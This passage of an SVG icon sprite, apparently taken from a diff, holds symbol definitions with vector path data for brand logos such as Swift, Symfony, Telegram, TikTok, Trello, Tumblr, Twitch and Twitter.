3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z"></path> + </symbol> + <symbol id="swift" viewBox="0 0 448 512"> + <path d="M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z"></path> + </symbol> + <symbol id="symfony" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z"></path> + </symbol> + <symbol id="teamspeak" viewBox="0 0 512 512"> + <path d="M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z"></path> + </symbol> + <symbol id="telegram" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z"></path> + </symbol> + <symbol id="telegram-plane" viewBox="0 0 448 512"> + <path d="M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z"></path> + </symbol> + <symbol id="tencent-weibo" viewBox="0 0 384 512"> + <path d="M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z"></path> + </symbol> + <symbol id="the-red-yeti" viewBox="0 0 512 512"> + <path d="M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z"></path> + </symbol> + <symbol id="themeco" viewBox="0 0 448 512"> + <path d="M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z"></path> + </symbol> + <symbol id="themeisle" viewBox="0 0 512 512"> + <path d="M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"></path> + </symbol> + <symbol id="think-peaks" viewBox="0 0 576 512"> + <path d="M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z"></path> + </symbol> + <symbol id="tiktok" viewBox="0 0 448 512"> + <path d="M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z"></path> + </symbol> + <symbol id="trade-federation" viewBox="0 0 496 512"> + <path d="M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z"></path> + </symbol> + <symbol id="trello" viewBox="0 0 448 512"> + <path d="M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z"></path> + </symbol> + <symbol id="tumblr" viewBox="0 0 320 512"> + <path d="M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z"></path> + </symbol> + <symbol id="tumblr-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z"></path> + </symbol> + <symbol id="twitch" viewBox="0 0 512 512"> + <path d="M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z"></path> + </symbol> + <symbol id="twitter" viewBox="0 0 512 512"> + <path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path> + </symbol> + <symbol id="twitter-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 